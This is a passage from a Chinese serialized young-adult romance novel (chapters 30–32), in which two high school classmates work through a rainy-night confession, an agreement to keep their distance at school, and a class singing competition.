男生们一上体育课就热火朝天地只穿短袖,过近的距离,方敏周感觉到王衎身上的温度,也看到了他起伏的胸口和滚动的喉结,而她一直没脱下春秋季的长袖校服外套,刚才打羽毛球出的薄汗早就凉透了。 “王衎。”她深呼吸了一口气,“你做人不要太恶心。” “……我恶心?”他嗤笑了一声反问。 “你现在这样不恶心吗?” “……我只是想和你聊聊。” “聊什么?” 王衎看着她,却仍是沉默。 方敏周冷笑。 “你就这么怕被人看到我们两个在一起?”他带着恶意问。 “不是怕,是不想。” “我们又没干什么。” “我要出去。” “我…….” 方敏周打断他,咬着字,不容反驳的,“我再说一次,我要出去。” 王衎让开了。 方敏周走近铁门,细听门外没有声音,拉开——没有光明绽亮,天空好厚的乌云,细细簌簌的风雨声中,她听见王衎的声音好像从很远的地方飘过来,他问她:“你是不是喜欢林斯年?” 第30章 第 30 章 春雨绵绵,…… 春雨绵绵, 转眼间就密了,老师随手一挥,在下课铃响前几秒让大家解散。 一班人冒着突如其来的一场雨跑回教室, 其中有人叫嚷, 气氛莫名有点热烈, 突兀用力想要地给日复一日的上学生活留下不一样的痕迹。 有男生嘲笑把外套披在脑袋上挡雨的女生矫情, 被后者反唇相讥:“天天淋雨, 小心哪天就变秃头!” “什么?!”男生惊恐地摸上自己的脑袋。 冲回到教室,一部分人开始有来有回地分析雨水对脱发的影响,方敏周一向非此类讨论的核心人物, 声音不过脑地化为白噪音,她默然找出自习课准备写的作业。 哦对, 还要先唱歌。 方敏周从文件夹中取出打印了歌词的A4纸,这个时候王衎才回来, 一身雨水。 吴丞问:“你怎么淋成这样, 走回来的?” 王衎低低应了声, 毫无形象地扯起短袖擦了擦脸, 露出了小腹。 方敏周垂下眼。 王衎坐下后, 直接趴在桌上, 脑袋圈在胳膊里。他的头发一向很短,像刺猬的刺一样竖立,直到上课铃响也没有抬起头来, 更勿论要练习的时候站起来。 但刺猬是很可爱的动物,身体柔软, 不像他,湿了微透的校服贴在背上,从头到尾都硬邦邦的。 林斯年在台上叫了王衎两次, 他都没应,林斯年只有走过来。前排的同学齐刷刷地随之转过头,嘴巴倒是都没停,合唱声仍在持续。 想到刚才在器材室同王衎的争吵,方敏周的心拧起来。 什么喜欢不喜欢……胡说八道,她直接跑走了,但他那么冲动,她有点担心王衎真的和林斯年起冲突。 林斯年问王衎是不是身体不舒服,王衎依旧毫无反应。 歌声渐小,直至没人开口,尹梦然暂停了音乐。 林斯年用眼神询问方敏周,方敏周喉咙发堵。 她不知道。 “他身体不舒服。”郑彦航插了一句。 “……需要去医务室吗?”林斯年问。 “额……”郑彦航摸了摸鼻子,“暂时先不用吧。” “好,但如果等会还是不舒服,麻烦你们陪他去医务室看看。” “好的。” 激昂的伴奏音乐再度响起,盖过了教室外的风声雨声。 方敏周看向窗外。 窗户上的雨点密密麻麻连成一条线,忽然急坠,新的雨点借着风力迅速攀爬。 王衎趴了整整两节自习课,郑彦航和吴丞硬是拉他起来去吃晚饭,嘀咕:“没真的生病吧?” 他们走后,方敏周才放下笔。 晚自习铃响,王衎没有回到位置。 这已经不知道是他第几次逃课,外边还在下雨,方敏周都不知道他们这些人逃课能逃到哪里去。 有巡逻的老师发现问及,郑彦航帮兄弟掩护的谎话如技能般自动弹出:“他去卫生间了。” 方敏周本以为王衎整个晚上都不会回来了,但第二节晚自习过半,他旁若无人地从后门进来,拉开椅子坐下,如常开始写作业,照旧在晚自习铃声响起的刹那拎包走人。 飘飘摇摇的雨一直没有停,地板被踩得湿漉漉的,黑板上也带了一层黑绿色的潮意。 方敏周早上是骑自行车来的,但如果碰上放学的时候下雨,她会把车暂时留在车棚,乘公交回家。欧阳茜没带伞,方敏周送她到学校正门口。她妈妈开了车来接她,一辆红色轿车,倒是让方敏周想起去年冬天里那辆灰扑扑的面包车。 堵车严重,红色的刹车灯把城市的夜景照得发紫,喇叭声此起彼伏,方敏周还没有考驾照,不知道这个时候按喇叭有什么用处。小心避开人行道上的水坑,慢慢绕了个圈,走到学校侧门附近的公交车站。 人也很多,各色雨伞高高低低,像雨天里突然冒出来的蘑菇。 雨天有致幻的魔力,方敏周在这种天气乘公交会比较容易晕车,因为空气闷湿且不流通,各种味道被揉成一团,每当公交车停靠车门开合时,都仿佛在排放毒气。 所以方敏周也不着急,班次多,她想等一辆人少一点的。 雨夜有点冷,她到附近便利店待了一会,等到便利店里只有她一个学生,她看到又有新的126路来了,方敏周撑起伞重新走进雨里。 126路停了五秒,没有人再上下车,利落关上车门开走。 公交站亭下,没有上车的方敏周往学校侧门走去。 雨小了点,但淅淅沥沥地还在下。她像是吞了一肚子湿棉球一样气短胸闷,意外踩到一块松动的地砖,被贱了一脚的水。 方敏周停下,污水一点点渗进帆布鞋里,她无奈深吸了口气。 走读生大概都走光了,逆程的路上一个人都没有,学校侧门都已经关上。看到有学生,保安叔叔开了门,“落东西了?” 方敏周含糊应了声。 她往车棚走去。 她觉得自己想太多,但不回来确认一眼,总还是放心不下。 要是……要是王衎没有在等她的话,她就当丢了个大脸好了。反正也没人知道,反正也没什么。 雨水落在塑料伞布上闷闷的,打在铁质车棚上叮铃当啷,十米之外都能听见,大到几乎盖过了所有声音。 方敏周看到车棚底下蹲着的男生。 溶化的灯光淌了满地金灿灿的雨水,王衎弯着腰,和下午类似的脊背弧度,脑袋埋在耷拉的手臂之间。 没能被雨伞遮挡住的雨丝飘到了方敏周的脸上,冰凉凉的。 她不知道自己在一旁站了多久,或许没有很久,跳闸似闪了一下的路灯叫醒了她,她走过去。 积水厚过帆布鞋底,但反正鞋子已经湿了,方敏周没再顾虑,一步一步,不快不慢,脚步声混在雨里,其实微不可闻。 她走到王衎身边停下,他身形微动,但姿势依然没变。 人影和自行车的影子重叠,延申至无止境的黑夜深处。 方敏周握着伞柄的右手变得冰凉,有水珠自伞尖坠落,滴在王衎的手臂上。 方敏周莫名想到那些关于水和雨的比喻,比如泪如雨下和水漫金山。如果情感需要量化,山太沉重、风无从捕捉,无色有形的水最合适,密如牛毛、尖若银针,密密麻麻地落进心里。 滴水无声,涟漪层层。 良久,方敏周听见王衎的声音,像从水底传上来,咕噜噜地冒着泡:“我是有病,因为有病,所以明明在生你的气,每天还犯贱地想要送你回家,想要等你主动和我说一句话,我根本就不想和你吵架……方敏周,你到底知不知道我喜欢你?” 方敏周握紧了伞柄。 去年年尾的下雪天,他问她有没有听懂,她回答听懂了,但现在,她却不敢再回答知道。 他的告白太沉重,令她即使撑着伞也无处遁藏。 “自私”在方敏周的认知观里是绝对的贬义词,虽然她知道自己性格并不爽朗,但她也从不觉得自己品行不端,可是这一刻,她后知后觉地发现,原来在与王衎的拉锯战中,她是一个利己主义者。 谁不享受被人喜欢的感觉?更何况这个人还并不糟糕。 他是长得好看的,也聪明,不惹人生气的时候很搞笑,也很可爱……总之他有很多缺点但也有很多优点,被这样一个男生喜欢,满足了她压抑自贬的虚荣心,但她不愿意承担享乐的后果。 她不想被老师找去谈话、不想被爸妈批评责骂、不想被同学背地里议论,她也不想耗费精力去回馈他的需要。王衎觉得她在欺负他……可能真的是吧,仗着他喜欢她,怎么不算是一种仗势欺人。 可是她真的不是故意的。 她自认为守着底线,但那句话是什么,常在河边走哪有不湿鞋,现在她的鞋子湿了。 好一会儿,她才能开口,她问王衎:“你怎么回去?” 王衎没有回答。 “你怎么回去?”方敏周平静地又问了一遍。 “你还没有回答我的问题。” 雨声泠泠。 良久,方敏周开口:“……王衎,你喜欢我什么?” 王衎抬起了头。 他的脸上光影错落,像戴了一层流光的面具,神色不明,但眼睛定定望着她,尔后闪过愠色,别过脸看向地面:“你管我。” 方敏周:“……” 她站得腿有点僵,稍微动了动。 “你问这个问题不觉得很残忍吗?”王衎的声音再度浮上来,“你这个问题就好像——考第一名的问考第一百名的为什么不是第一名一样,那我问你呢,你为什么不喜欢我?” 我没有不喜欢你,方敏周想说,但声音出来,她回答了另一件事:“我不喜欢林斯年。” 王衎重新抬头看她。 “……忘了恭喜你唱歌进决赛,但我本来也没有答应你一定会去看你比赛,你没必要因为这个生气。”方敏周说。 王衎冷笑:“你总是很有道理。” “……你还生气什么?” “你呢?”王衎呛声反问,“我说我可以教你唱歌,你生气什么?” 方敏周顿了顿,没什么不能说的,“我唱歌不好听。” “我猜到了啊。”王衎应得不假思索。 方敏周胸口再度发闷。 见她又有情绪,王衎忍无可忍地站起来。 这下换他俯视方敏周,他抬高她的伞面,水顺着他手掌流到了他的手臂上,“所以我说我可以教你啊,你是觉得很丢脸?我就是想不明白你为什么觉得丢脸,我以为……”以为我们关系有近一步,“那我教你唱歌你不愿意,为什么林斯年教你接发球你就听?你还……” 还和他击掌庆祝打败了他,结果他只是不小心碰到却要被甩开? 方敏周本来是看王衎可怜,他突然理直气壮指责起她,愣是把她的怒气重新点燃。方敏周冷了脸,把那三个字还给王衎:“你管我。” 王衎咬牙,但被方敏周瞪着,心里又难受,别开了目光,又低头看地。地上的积水像一条潋滟的暗河,方敏周的白色帆布鞋像水里的石头。 她的鞋子湿了,不仅鞋子,校服裤脚似乎也湿了。 王衎一震,这才意识到方敏周是冒了雨回来找他。 “等下……”他慌忙拦住要走的人。 “对,我就是觉得让你教我唱歌很丢脸。”方敏周破罐破摔,想着干脆今天晚上把事情都说说清楚了,之后桥归桥路归路,随便王衎,“不是因为我看不起你,我从来没有看不起你过,我只是……” 她卡住,王衎看着她,接道:“你是不是不想被我知道你不会唱歌?” 方敏周下意识地张嘴,但,无法否认。 王衎的心酸得像被沾湿的书脚,他咧嘴一笑:“方敏周,看来你比我以为的还要更喜欢我一点嘛。” 被他点名的女生睁大了眼睛。 下一秒,王衎眼前一黑,被劈头盖脸甩过来的雨水迷了眼睛,匆匆抹了把脸,方敏周已经气冲冲走远。 “喂!”他赶紧追上去,“好啦我知道了,我又说错话了,你一点都不喜欢我,是我喜欢你,你不想知道那我就什么都不知道,但我想说……我没有要嘲笑你的意思,我只是……想和你多点话题……” 方敏周始终不语,王衎试探着加上道歉:“对不起?” 方敏周:“……” 天知道这场雨还要下到什么时候。 他顶着书包在她旁边亦步亦趋,模样滑稽,方敏周纠结了好几步路,还是举高了雨伞。 王衎一愣,反应过来后立刻钻进伞底,顺便接过雨伞,“我来我来。” 方敏周的雨伞不大,两个人之间又刻意隔着一段距离,一时反而陷入沉默。 方敏周注意到王衎尽把伞把她的方向倾,自己大半身体淋着雨,她忍了又忍,最终没有再多说。 总比他没有伞强。 走到校门口,她让王衎等一下,跑进了传达室打电话。 他站在传达室的窗外,隐约听见她喊了声“妈妈”,说她落了东西在学校,会晚点回家。 王衎以为落了的东西指的是他,过了会才明白,她是撒了个谎。 “我带手机了,你要打电话我可以借你。”走出校门后,王衎对方敏周说。 方敏周只是看他一眼,王衎现在自信心回来了,“你看,你又这样,有话直接说好不好,看我一眼是什么意思?我又不是你肚子里的蛔虫……” 方敏周打断,“用你的手机打电话会有通话记录。” 王衎这才消停,“哦”了一声。 方敏周这会儿完全不知道自己该摆出什么态度,笑不出来、气不起来。王衎有的时候算通人性,但钻牛角尖的时候就一个劲地撞死胡同的墙,怎么会有这样的人? “……明天也下雨,你记得带伞。”她提醒。 “啊?我带了。” 方敏周:“……那你不撑?” 王衎恨自己嘴快,尴尬一笑,“懒得撑嘛。” 方敏周一个无语的白眼,王衎又找到了由头:“方同学,你这样感觉以后谈恋爱会冷暴力。” 方敏周怔然,要反驳的点太多,最后憋出一句:“……我才不会。” “是不会谈恋爱,还是不会冷暴力,还是不会谈恋爱的时候冷暴力?“ 方敏周想把伞拿回来,王衎赶紧把伞举得更高,方敏周一不小心差点扑到他怀里,这下更不想理王衎了,后悔自己心软,就让他淋会雨怎么了?他倒是心情很好的样子,“反正我以后谈恋爱一定会对我女朋友很好的,她说往东,我绝对不往西——诶,你这表情,又在心里骂我呢?” 说得好听,哪里做到了? 王衎却像是猜到她的想法:“你要觉得我现在不听话,那肯定啊,那本来就是给女朋友的待遇啊。” ……又上套了。 “你要不先预约服务?先到先得,高考结束我立马上岗。” “你把伞拿出来!”方敏周受不了了。 “没事,反正前面车站就到了。”王衎满不在乎,方敏周奇怪他怎么莫名自顾自地陷入了一场浪漫的幻想,他继续说,“我不烦你了,真的,我接下来就好好学习,但你……”他的声音低了下去,期期艾艾,“怎么也要答应我点事情吧……” “……什么事情?” “……这也要我说啊。” 回到公交车站下,方敏周收起伞,周边店铺都快要打烊了,只有便利店还传来关东煮和烤肠的香味。 “……你饿不饿?”她问王衎。 王衎摇头,“你饿了?” “不饿,我就是问问。”方敏周说完,顿了一顿,“你今天还去你亲戚家?” 王衎摸不准方敏周的意思,不敢回答,方敏周见状便说:“我爸到车站接我,你不要……送我回去了。” “……哦,好。” “所以你到底有没有一个亲戚住我家附近啊?”方敏周趁机想问个明白。 “有啊,徐冉她妈、我表姐,她有一套房子在你家小区附近。”王衎说,就是平时不怎么住那边就是了,但确实没骗人,强调完是真的,发现话题被方敏周转得太远,怕她赖账似的连忙扯回来,“你还没答应我事情呢。” 方敏周轻轻甩了甩雨伞,她深呼吸了一口空气,定了定心看向王衎,认真道:“我没办法答应你任何事情。” 王衎嘴角的那点笑意敛去,他静静看了方敏周一会,扯了扯嘴角,想装不在意但装不出来,压着内心的慌乱问:“……什么意思?” “你还记得一年前的今天发生了什么事情吗?”那个时候他们都还不认识,“虽然你现在说你……但可能过段时间,你的想法就变了,我的想法也变了。” “哦,这个意思啊。”王衎抓了抓自己的头发,他拿出手机,“今天几号,我看看……四月三号,晚上十点二十三,我记一下,喏,这样不就记得了。” 方敏周:“……” “行吗?” 一道题是能够有多种思路,但答案只有一个,可当题不成题,也没了标准答案。 “王衎,我高中真的不打算谈恋爱。”方敏周只能这么说,“我觉得我没办法平衡好这两件事情,就算……我觉得也不会有什么好的情况的。” 王衎又“哦”了一声,把手机收起来。 方敏周已经把话说得很明白了,也很有道理,早恋似乎都没有什么好下场,他也不能再自讨没趣了。 刚才一路走来有些兴奋,现在冷静下来倒觉得有点冷了。 王衎的视线无处落点,正如他此刻的心情,不想面对,想逃跑,但脚生了根似得长在地上、扎进泥里,他更清楚地意识到自己陷入了一个名为方敏周的漩涡沼泽,而试图把他拽出来的人却也是方敏周。 他望着霓虹地面上的水晕,“那我能再问你个问题吗?” 方敏周默认。 “你打算考哪个大学?” 他并不知道这对时刻紧张自己成绩的优等生来说是一个很敏感的问题,方敏周没回答,他径自追问:“江大?” 方敏周有点痛恨王衎此刻有意无意的冒犯。 她的成绩,不出意外,一般的大学没问题,但她想去更好的大学,比如江大,比如首都的大学,但她还不够格。那些学校至少要考进段前二十才有机会,她还只在今年开学考擦边考入了一次而已。 那些高三逆袭的黑马传说和老师嘴里“等一轮二轮复习过后你们会发现高考很简单”的鸡汤,像拉磨驴子眼前的胡萝卜吊着她、吊着所有人。 方敏周从来没有和别人说过她的目标,她没有故意去营造不费吹灰之力就取得好成绩的假象,但她也没有强大到不怕别人奚落她不自量力,所以只是把野心当饭吞下,每天咀嚼。 “可以吧,还有一年多时间。”耳边传来王衎的声音,“不过你觉得,如果我现在开始努力的话,能不能也考上江大?” 方敏周:“……” 她讨厌王衎的,无外乎就是这种轻飘飘的态度,把别人珍而重之的东西当球玩,但她羡慕的,也是他松弛的自信。有山就登,有海就游。 “你又不说话了?不会在心里嘲笑我吧?好吧,江大是有点难,但省城那么多学校,我考其他的总能考上吧。” “……送你句话。” “什么?”方敏周终于开口,王衎挺期待的。 “力争上游者中游,力争中游者下游,力争下流者不入流。” 王衎:“……你搁这跟我写作文吗?” 方敏周:“……” “好啦我听懂了,不过你这期望比我妈对我期望还高啊。” 又开始说些不三不四的话,方敏周用眼神警告他,广告牌的灯光落在王衎眼里,他收起嬉皮笑脸的表情,“我会认真的,但是,你要……给我点时间。” 方敏周抿了抿嘴,“你在学校……” “什么?” 方敏周努力把自己的难为情摔碎,“就像你之前说的,声东击西,所以你别在学校里搞些奇怪的事情……” 王衎都忘了他哪说过声东击西,想起来后,盯了方敏周一会,失笑,“你这不仅是要我在学校和你保持距离,还是要我和你演戏的意思啊?” “反正就是这个意思。” 王衎胆子又大起来,“那是不是我们在学校里表现得越不熟,我们在校外就能越熟啊?” “不是!” 余光看到王衎身后驶过来的公交车,方敏周终于松了口气,放低声音,“……我车到了,你也早点回家吧。” 王衎像是想要说什么,方敏周给他时间,他又什么都没说。 126路停下,方敏周转身上车刷卡,在空空的车厢靠窗坐好。布满雨珠的玻璃上缓缓流下的水痕,在她心上划下同样的痕迹。 她拉开窗户,细凉的雨丝窜拂上脸庞。王衎大概是没想到,面露惊喜,公交起步后情不自禁地还跟着跑了两步,声音被风捎进车内,“明天见!江城见!” 30-40 第31章 第 31 章 说好明天见…… 说好明天见, 但第二天直到早自习结束王衎也没有来上课,方敏周心里有了不好的预感。 果然第一节化学课,詹老师先提到最近换季, 让大家注意身体, 再开始分发前天的测试卷。 “王衎生病了?”方敏周听到郑彦航疑惑地问。 “可能因为昨天淋雨了吧。”吴丞猜。 郑彦航咋舌:“这小子现在这么弱?” 方敏周:“……” 今天依旧是个灰蒙蒙的阴雨天, 教室里的灯管明晃晃的, 方敏周脑海中浮现出昨夜王衎蹲在昏黄路灯下的模样, 心下感到愧疚。 没想到真就生病了…… 詹老师喊到了她,方敏周走上讲台。这次试卷有点难度,她是满分之一, 詹老师眼里无言的肯定和鼓励像块石头,把方敏周心里的一些浮思压实了。 詹老师顺便找到王衎的卷子一起给到她。 王衎考得就不是很好了。 想到他昨晚还一脸认真地说要考江大…… 方敏周无声地叹了口气, 把詹老师重点讲解的几道题型解法写在了王衎的卷子上。 下午,王衎居然出现了, 收获一众狐朋狗友的亲切问候, 但男生的关心没有好话, 得知王衎烧退了就来上课, 纷纷震惊, “你不是吧, 这样还来上课?” “还是两节数学课!” “对啊,厉害吧。”王衎语气轻快,但声音暗哑。 “佩服佩服。”有人拱手, “但是你这样……周五还能比赛吗?” 周五晚上举办的艺术节闭幕式汇演,其实也就是各类表演决赛加班级合唱比赛。 “别咒我行吗?”王衎说, “我这叫磁性好不好。” 郑彦航第一个发出作呕的声音,“你这身体素质不行啊……” 王衎怒了:“你还好意思说我?” 打闹间,视线与方敏周的不期然相遇, 她默默转正目光,王衎耳朵发热,手下更没轻重。 郑彦航这厮是故意看不懂眼色还是怎么,当着方敏周的面这么损他,不知道的还真以为他是个弱鸡。 直到郑彦航假意求饶王衎才松开手,郑彦航夸张地捂着自己的脖子,“怎么办,你比赛是没问题了,你把我掐哑了,我们班合唱要是少了我这一枚大将……” 王衎从书包里拿出一盒润喉糖,“闭嘴吧你。” 糖分了一圈,才递到方敏周面前。 周边的空气默契地静了静,郑彦航把糖咬得嘎嘣响,看戏似的等着下一幕。看到方敏周拿了一颗糖,郑彦航很欣慰地同欧阳茜对了个眼神。 欧阳茜微微一笑,那笑容叫郑彦航怀疑自己是不是落了什么细节。 欧阳茜是觉得郑彦航四肢发达头脑简单,这两人都不知道暗度到哪里去了,郑彦航居然还把这当作他们冰释前嫌的信号。 上课铃声响起,数学老师准时走进班级里,王衎一看老师那架势,退了烧的脑袋又开始晕了,要不是……他真的要请一天的假。 瞄了眼旁边的方敏周,她坐得倒是端正,王衎也不好打扰她。 反正一切以她学习为重。 两个课间,数学老师都拖堂,他前脚刚走,后脚上课铃紧接着响起,还好接下来都是自习课。王衎叹了口气,打算先写点轻松的。 他拿出化学课本,奇怪多了张测试卷,估计是上午发下来的。 分数很烂,本来也无所谓,但看到错题边上的订正痕迹,他愣了愣。 王衎把整张试卷仔细翻阅了一遍,那些端正熟悉的字迹通过眼睛,进入他的身体里,产生了奇妙的化学反应。他心跳都快了,但想到昨晚还说要考江大,今天就让方敏周看到了这样的分数…… 王衎为自己脸红,想辩解他考差是因为最近心情不好状态不好,但这话说出来,像是要把责任推给方敏周,更何况,方敏周怎么不受影响?她考得肯定很好。 所以她说着担心谈恋爱影响成绩,恋爱都没谈成就失魂落魄的却只有他而已……王衎有点自嘲地想,但随即又看开了:方敏周冒雨来找的人是他,只帮他订正了试卷。 牛排七分熟五分熟都能吃,他也没奢求方敏周百分百喜欢他。 就是不知道方敏周昨天说的“保持距离”的界限范围是多少,王衎转着笔思考,其实他真心觉得自己挺规矩的。 他找出传话本,翻开新的一页:谢谢帮我做笔记。 然后竭尽所能画了个可爱的微笑小熊,递到方敏周面前,方敏周瞥了一眼,没理。 看来上课传纸条还是不行。 这个时候,方敏周却突然把本子拿了过去,王衎惊喜万分,像是电路图走通了一条路线,灯泡明亮。 方敏周:你发烧是因为昨天淋雨了吗? 王衎:…… 他大大地写下“不是“两个字,加一个感叹号。 他就怕方敏周问这个,但……被关心,他又觉得未尝不是因祸得福。 装可怜的度拿捏不准,王衎补充:我就是隔几年就会突然发烧一次,其实这才是体质好的表现,说明我的免疫系统很健康。 再加上一个呲牙表情。 方敏周看完,回:好的,注意身体。 王衎还要接着写,看到方敏周皱眉,用口语对他说:别写了。 好吧。 王衎的视线从她的嘴唇上收回。 终于等到下课,他清清嗓,刚要说话,被金柏浩抢先一步,“诶,方敏周,我问你……” 王衎:“……” 他憋了口气旁听完,煞有介事地也找了道题目问方敏周,方敏周看了他一眼,若无其事地给他讲题。 所以也还能问题目,那和之前也差不多嘛。 电流所到之处,灯泡接二连三地亮起。 不过要试图聊些学习以外的话题,方敏周也和之前一样,但凡能一句话说完的绝不对多说半个字,态度客气、泾渭分明,于是王衎明白了,方敏周这是把他在学校的地位同金柏浩划了等号。 但他知道,自己不是金柏浩。 因为马上就要比赛,第四节自习课再被征用练习班歌。 王衎喉咙不舒服,一开始没想多认真唱,哼哼着,但是听方敏周依然无声,他反而唱大声了,引得方敏周忍不住多看了他几眼。 他冲她挑眉,他的想法很简单:我这样了都敢唱,你有什么不敢唱的。 方敏周是自己放不开,声音憋着,发声位置不对,加上又没投入感情,所以觉得不好听。其实很多人都是这样,有的是比她声音难听还找不到调的,她就是对自己要求太高了。 王衎想明白方敏周那些小心翼翼的倔强后,不免觉得自己之前很不做人。 晚自习下了课,王衎在楼梯底下等到她。 方敏周提前看到他倒没被吓到,但很有警惕心地望了望黑暗的四周。 “放心吧,人都走光了。”王衎忍不住说。 方敏周:“……” 她觉得自己这会儿说什么都不对,索性闭嘴。 这会儿雨停了,地面湿黑,幽静的道路上,她和王衎时而并排,时而一前一后,全是看王衎的步调如何。 他开了话匣,倒豆子一样哗啦啦地说: 他先是强调自己发烧真的不关淋雨的事,不过很可怜地说他一个人在家,半夜难受醒过来才如何翻箱倒柜找退烧药;又提到他数学课为什么突然笑,是因为他发现老师腰间的钥匙串上多了个奥特曼钥匙扣,估计是他儿子给挂上的,那是个雷欧奥特曼,而他更喜欢迪迦,他问方敏周看没看过奥特曼,知不知道奥特曼有多少种…… 方敏周忍不住批他:“你能不能少说点话?嗓子都哑了。” 王衎还从来不觉得自己是个话痨,“因为你白天不让我说话啊。” “谁不让你说话了。” “好吧我纠正,因为你白天不和我说话,这么说没错了吧。” “学校是学习的地方。” 王衎被方敏周这句老古板的话逗得直乐,他觉得方敏周真的太有意思了,“那现在不是放学了吗?”又怕方敏周生气,为了避免再次产生误会,他收起笑轻声问,“你这是真的不想听我说话,还是……其实是有点关心我的意思啊?” 当然不是不关心,但被点破,方敏周又耳热,加快脚步,被王衎喊住:“诶你去哪,车棚在这边。” 方敏周回头:“……你骑车来的?” “是啊。” “……乘车吧。”方敏周建议,“小心等会风一吹又生病了。” 她声音莫名地越说越小声,要不是附近很安静,王衎还真不一定能听清,但反应过来后,他压着雀跃,“我没那么弱,不过没关系,我都行,走吧。” 方敏周实在不理解男生的逞强,而王衎给点阳光就灿烂,走路都不好好走了,倒退着,一边走一边唱歌,一步一步,倒都踩在节奏上。 又是她听不懂的粤语歌,但听着听着,方敏周总觉得歌词中有类似“敏敏”的发音……他望着她反反复复唱那几句词,直唱得方敏周心烦意乱。想到他之前做的事情,很难不怀疑他的心思,板住脸,拒绝上钩。 还是忍不住了,故意说他公鸭嗓,王衎一脸无所谓:“公鸭嗓咋了,很多歌手的声音都是哑哑的,这是个人特色。” 行吧……方敏周有点不好意思,不管王衎有没有生气,她都不应该这么说她。 “你洗澡的时候会不会唱歌?”王衎突然问她。 方敏周吓了一跳,“洗澡的时候为什么要唱歌?” “有种说法啊,洗完澡照镜子觉得自己最美最帅。”王衎笑,“洗澡的时候唱歌,也会觉得自己天下第一,你可以试试。” 恰巧走过树下被积水滴到,方敏周浑身一颤,想到浴室滴水的花洒。 方敏周突然急步走过他身边,王衎一愣,连忙转身追上,刚要问她又发什么脾气,扫见她光影中略有些泛红的脸颊,心思一动,福至心灵般想到了原因——瞬间想要扇自己一个耳光以证无辜,但怎么办,这个时候好像已经有点不无辜了…… 王衎摸着脖子,默默跟到公交车站,还在等车的人寥寥无几。他若无其事地续上之前的话题,“其实你唱歌比你自己以为的好听很多。” 方敏周瞥他一眼,像是觉得他在骗她,王衎莫名臊得慌。 他一害羞,方敏周反而冷静下来了。 126路很快就到了,她让王衎早点回家休息,王衎不肯,想陪她上车,方敏周只有再次搬出她爸,结果王衎一副上当受骗了的表情。 ……真是不识好人心。 而回到家后,等方敏周进了浴室洗澡,耻意再度席卷而来。 她想什么呢,都怪王衎说些有的没的…… 方敏周捂住脸,任热水冲淋身体,但身体渐渐放松下来,她还在想王衎说的话,并蠢蠢欲动。害怕被爸妈听见,但是家里的隔音还不错,加上有水流声遮掩,她终于小声地唱了句歌。 声音漏出来的那一瞬间,她立刻住了嘴,谨慎地等浴室里的回音消失,但也终于明白为什么王衎说洗澡的时候唱歌会好听了。 他还真会鼓励人,这自带修音般的加成,小狗叫也能变天籁,又不禁想他难道每次洗澡都要边唱歌边洗吗?那真像小孩子会做的事情,但他唱歌的时候并不像小孩。 “你就是故意的!”隔天他们骑车回家,不忘和她算账的王衎就又很幼稚了。 方敏周懒得理他,骑快自行车,王衎一愣,加速冲到了方敏周前面。敞开的校服外套被风吹起像蓝白色的披风,方敏周不甘示弱。最后一段路你追我赶,她突然的疯劲叫王衎吃惊,跟在方敏周后头转弯的时候直呼:“你小心点!” 照旧在方敏周家附近的公交车站停下,微微气喘地望着彼此,湿润的夜里,肺腔里吸满了清新的空气,心脏像新生的草木一样鼓动,反而无话了。 沉默了会,方敏周赶王衎:“……你快回家吧。” 王衎还有点舍不得走,原地摆弄自行车车头。 车轮在两个人的心上碾来碾去,挤出不知所谓的浓稠情绪,方敏周低声:“明天比赛加油。” 王衎亮着眼睛抬起头,这话他爱听,“好的,没问题。” 方敏周抿抿嘴,转过车头离开。 “……诶!”身后王衎忍不住喊了一声,方敏周回头,忽然指了指他的脚下。 王衎按住刹车,顺着方敏周的手指低头看向地面,明白了,她的意思是不允许他再往前走一步。 再抬起头时,方敏周仰着下巴,笑了:“走了,路上小心。” 王衎久久停在原地,直到方敏周进了小区,身影在夜色中看不见,他才有些无措地舔了舔嘴唇。 书到用时方恨少,他这会儿一点也不知道该怎么形容她刚才的笑容,但他觉得此刻的自己是个盖世英雄。 只是可惜,第二天英雄失声了。 第32章 第 32 章 据说王衎本来是还打…… 据说王衎本来是还打算自弹自唱的, 现在因为扁桃体发炎,只能发出嘶哑的气声,独唱也不能突然变为独奏, 只好退赛。 方敏周有点想骂他活该, 明明嗓子早就不舒服了, 还又是说话又是唱歌地折腾, 但看他蔫蔫地趴在桌上, 她又说不出重话。 王衎突然把涂涂画画的本子递到她面前,上头画了一个流着宽面条眼泪的哭脸。 方敏周:“……” 她看向王衎,他撇着嘴, 和他画的表情一模一样,眼睛还很做作地用力闭了闭, 再睁开来时,自己反而先笑场了。 笑了一会儿, 见方敏周没反应, 王衎有点尴尬, 但假装无所谓地耸耸肩膀, 把本子拿了回去, 翻抽屉找下节课要用的课本。 等他的目光不在她身上了, 方敏周这才翘起嘴角,但立刻就清咳一声收起来。 耳边难得可以清静一天,但……居然还有点不习惯。 像比赛前最后一次练习, 他们在教室后面站成比赛时的队形,一共四排, 方敏周站在第二排最左边,王衎就站在她后面,直到练习结束, 方敏周都没有听到王衎的声音。 她忍不住回头看了他一眼。 说起来,之前这个队形总让她有些别扭,感觉被人盯着……可是站位就是这样,不知道看哪就看前排的后脑勺,合情合理——她经常找借口,也分不清是自我警惕还是为王衎开脱。 王衎也看着她,两人对视,他忽然动起嘴巴,有点夸张的那种,是在复现刚才他是怎么在对口型的。 这次方敏周没能绷住,被逗笑了。 王衎吹了个无声的口哨。 方敏周翻了个白眼。 不过,他看起来好像真的不太在意不能比赛了这件事,被其他人调侃也只笑笑不说话——虽然也说不了什么,他看着没啥精神,大概只是嗓子真的难。 方敏周心里头有点感慨。 她觉得王衎吊儿郎当,但他大概也是因为这样,才能不管遇到什么事情都可以想得开吧。换做她,一定会觉得很遗憾。 还是他虽然嘴上说着要拿冠军,实际也无所谓,那……他到底会在什么事情上认真?其实她不觉得有谁是真的不渴望掌声鲜花的,特别是他们这个年纪。即使可能下个月,就不会有人记得十佳歌手都有谁。 一中这类汇演比赛以往都是在学校大礼堂举办,但今年的艺术节汇演舞台不知道为什么搭在了操场,可能是觉得更有互动感,所以这天到了集合时间,放眼望去,都是搬椅子的师生,像在暮色中搬运食物的蚂蚁。 有男生会帮女生搬椅子,有些是纯粹的乐于助人,有些是表演欲望过剩,也不排除被使唤的,不过大部分人还是自己搬自己的。 方敏周吃过饭,就和欧阳茜回到教室,和其他几个女生一起,慢慢把椅子搬到了操场上,每班两列,她和欧阳茜并排坐。 欧阳茜知道这绝对要给自己惹麻烦,果然,王衎来了,就拎着椅子站一边看她,但她也看回去,一脸茫然,装作不知道他的意思,方敏周更甚,直接弯下腰系鞋带。 欧阳茜心里偷笑,觉得王衎的表情非常有意思。 最后是郑彦航戳他,“干嘛呢?” 王衎深呼吸了一口气,只好坐到了方敏周后面。 